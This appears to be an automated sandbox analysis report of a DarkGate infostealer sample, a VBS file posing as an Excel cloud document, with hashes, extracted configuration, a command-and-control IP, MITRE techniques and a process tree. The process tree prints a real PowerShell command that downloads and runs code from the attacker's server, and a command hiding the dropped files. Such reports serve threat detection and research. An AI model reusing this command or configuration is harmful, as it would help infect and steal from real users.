darkgate | 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f

Analysis

max time kernel
114s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
09/04/2024, 15:19

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General

Target
MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs
Size 880KB
Sample240409-sp6adadh8w
SHA256 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
MD5 e0217823f2f748254b43ede64e422199
SHA1 3bede6ac6d6e7362b64a7de6663c9b6caac29832
SHA512 ab681712155c36cf0a8f44be5c181e4d4a2b61f3b35b2d6fa1266924b9932d8bab50b9e72a60d7e64ed3fa0504ec98726d81a2ebabf6bf403ac14dc5fb07c7b6
SSDEEP 24576:j2rHDMzlpSUY+g3Gy1U6dxvJwdd+2fk6T/dhTYzmQGeKsKBGrlrH:kAW59gs/s0dH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

103.124.106.237

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
bedxvHpr
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/1216-35-0x00000000031E0000-0x0000000003254000-memory.dmp	family_darkgate_v6
behavioral2/memory/1216-37-0x00000000031E0000-0x0000000003254000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	2956	powershell.exe
10	2956	powershell.exe
19	2956	powershell.exe
20	2956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1216	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2956	powershell.exe
2956	powershell.exe
1216	AutoHotkey.exe
1216	AutoHotkey.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 2956	1596	WScript.exe	91
PID 1596 wrote to memory of 2956	1596	WScript.exe	91
PID 2956 wrote to memory of 1216	2956	powershell.exe	101
PID 2956 wrote to memory of 1216	2956	powershell.exe	101
PID 2956 wrote to memory of 1216	2956	powershell.exe	101
PID 2956 wrote to memory of 2084	2956	powershell.exe	102
PID 2956 wrote to memory of 2084	2956	powershell.exe	102

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2084	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\kady\AutoHotkey.exe
    "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1216
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/kady/
    3⤵
    - Views/modifies file attributes
    PID:2084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:8
1⤵
PID:4284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_g4ik10bm.o55.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4ik10bm.o55.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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AutoHotkey.exe

Path C:\kady\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
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script.ahk

Path C:\kady\script.ahk
Size 441B
SHA256 8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e
MD5 958cd4a849145b96e92e63ef4e152349
SHA1 19d79b480294e7c329c19faf87fc5e3320268caa
SHA512 7852834cf31f55c6d97fdc204b59b8177d336c1f5ee1a14ae880e34c3e8c407953f1722274c040c93c5ac978f1a6ddb9d4a1b5019b6d3a99dd081440528210a0
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test.txt

Path C:\kady\test.txt
Size 922KB
SHA256 70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d
MD5 8ed12b37b69693e66f928cd39fc21c6c
SHA1 2ee8c14330d38f3ba3c23e4bb56c05b29191ff03
SHA512 50daf960cd89efe9b562db00177f27f3ba9e0929be830406857d9879a49c58f62d5d03c1b01c83104f47784da02b2cc2fab28c9b653e1a1861d4b319271e2795
SSDEEP 12288:htSC7BFd6XXV5Zos5bZqJB7ggl/qEpUwDoWiCrqJxq0/zi6wRSSfUcpNJwwLeoZR:Ice8NVylw
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memory/1216-37-0x00000000031E0000-0x0000000003254000-memory.dmp

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memory/1216-35-0x00000000031E0000-0x0000000003254000-memory.dmp

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memory/2956-12-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

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memory/2956-14-0x000001D622DD0000-0x000001D622F92000-memory.dmp

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memory/2956-32-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

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memory/2956-13-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

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memory/2956-11-0x000001D6224C0000-0x000001D6224D0000-memory.dmp

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memory/2956-0-0x000001D6226B0000-0x000001D6226D2000-memory.dmp

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memory/2956-10-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

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